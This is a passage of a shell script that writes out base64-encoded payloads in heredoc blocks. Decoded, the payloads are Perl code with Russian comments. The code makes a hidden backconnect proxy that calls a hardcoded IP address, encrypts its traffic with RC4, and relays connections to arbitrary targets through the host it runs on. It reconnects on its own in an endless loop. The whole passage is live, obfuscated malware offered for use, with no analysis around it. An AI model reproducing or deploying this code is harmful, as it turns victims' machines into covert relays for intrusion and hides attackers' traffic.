ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_6() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjUnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
